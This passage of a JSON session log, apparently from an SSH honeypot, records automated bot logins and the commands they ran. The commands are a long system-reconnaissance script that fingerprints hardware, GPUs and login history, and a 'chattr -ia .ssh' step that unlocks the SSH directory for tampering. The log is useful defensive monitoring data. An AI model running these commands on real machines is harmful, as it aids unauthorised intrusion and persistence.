  "ended_at": "2026-08-27T10:52:28.708007+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "38cad8cf-4b71-4f94-8859-8749f1eebfd7",
  "name": "hidden-distant-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39952,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:51:41.817474+00:00",
  "ended_at": "2026-08-27T10:51:42.968003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "637ace1e-5014-485a-b19e-4d677fa99e58",
  "name": "airy-wiry-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 48480,
  "username": "airflow",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:51:32.660045+00:00",
  "ended_at": "2026-08-27T10:51:32.760395+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "708dd740-c06a-46e7-8a93-0d0861681f29",
  "name": "marine-gnarled-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 35288,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:50:28.046484+00:00",
  "ended_at": "2026-08-27T10:50:28.234122+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5009160c-b2a5-4ec0-9a3d-6eced0c40f32",
  "name": "cunning-quaint-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 57762,
  "username": "git",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:50:15.699722+00:00",
  "ended_at": "2026-08-27T10:50:16.834738+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "11f09c4f-e020-4945-bc8b-0eab1454659c",
  "name": "freckled-balmy-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 34894,
  "username": "postfix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:48:56.314091+00:00",
  "ended_at": "2026-08-27T10:48:56.419426+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "223a8369-38eb-4e4b-ac8d-7bdc65546e40",
  "name": "mottled-misty-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "178.43.50.171",
  "src_port": 42264,
  "username": "hruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:48:45.475629+00:00",
  "ended_at": "2026-08-27T10:48:46.099879+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2044
 },
 {
  "id": "66acfe67-3063-403e-8266-5a5d52ec3ffe",
  "name": "thrifty-mindful-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 60540,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:48:45.405389+00:00",
  "ended_at": "2026-08-27T10:48:45.503432+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "252af212-9cc5-4b5b-9839-9e444499f7e0",
  "name": "thrifty-lofty-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "178.43.50.171",
  "src_port": 42286,
  "username": "hruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:48:36.604133+00:00",
  "ended_at": "2026-08-27T10:48:38.231028+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0e343204-df01-4c56-9013-07a0c308cbd7",
  "name": "fringed-earnest-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "178.43.50.171",
  "src_port": 42280,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:48:35.103960+00:00",
  "ended_at": "2026-08-27T10:48:35.870614+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a6790ac-508c-4102-83bf-2c045cf2d597",
  "name": "cunning-fickle-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58690,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:47:37.292621+00:00",
  "ended_at": "2026-08-27T10:47:38.717746+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf7ab1fe-9e8c-4031-ab6a-16a02dff3f7c",
  "name": "shaded-cheerful-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 57544,
  "username": "centos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:47:03.559223+00:00",
  "ended_at": "2026-08-27T10:47:03.673779+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b4bff00b-e6ad-4ca6-9d68-0b2f41890f1d",
  "name": "hazel-gnarled-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 33432,
  "username": "radar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:46:20.823555+00:00",
  "ended_at": "2026-08-27T10:46:20.922769+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "e7628936-8342-404b-a8f3-6d9306284970",
  "name": "seaward-crystal-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.213.238.91",
  "src_port": 37396,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 799,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:45:58.236494+00:00",
  "ended_at": "2026-08-27T10:45:58.984026+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "46ebfe8d-ec08-43f1-bb76-a35fbc3cc89b",
  "name": "gnarled-twilight-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.213.238.91",
  "src_port": 38438,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:45:42.702703+00:00",
  "ended_at": "2026-08-27T10:45:44.298754+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "83619c9d-d5e2-4cf5-918b-49c9aca5914d",
  "name": "jagged-vivid-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.213.238.91",
  "src_port": 38022,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:45:39.920020+00:00",
  "ended_at": "2026-08-27T10:45:41.069893+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3196d4f8-845f-4049-ac16-954ce2c5a29c",
  "name": "eager-tangled-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 54536,
  "username": "centos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:44:57.189553+00:00",
  "ended_at": "2026-08-27T10:44:57.293253+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1c289a18-b33d-4216-b800-326121ede8e9",
  "name": "solar-fabled-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "183.91.11.36",
  "src_port": 59360,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 829,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:44:14.502320+00:00",
  "ended_at": "2026-08-27T10:44:15.344863+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2049
 },
 {
  "id": "415b10fc-d6f8-4525-8db0-2797c02c513c",
  "name": "tidal-somber-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.11.36",
  "src_port": 60560,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:43:58.035631+00:00",
  "ended_at": "2026-08-27T10:44:00.122825+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "21ae9f8f-2ee2-44ee-9525-d35dab4903ad",
  "name": "plush-cosmic-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.11.36",
  "src_port": 59990,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:43:54.737934+00:00",
  "ended_at": "2026-08-27T10:43:56.448364+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4f077c02-8014-463c-9d3e-a74b809a1f49",
  "name": "calm-quaint-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 57960,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:43:39.817693+00:00",
  "ended_at": "2026-08-27T10:43:39.922224+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "024b7bf6-9f9b-4b72-b83d-5b0fa9430f07",
  "name": "blazing-wistful-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 51544,
  "username": "centos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 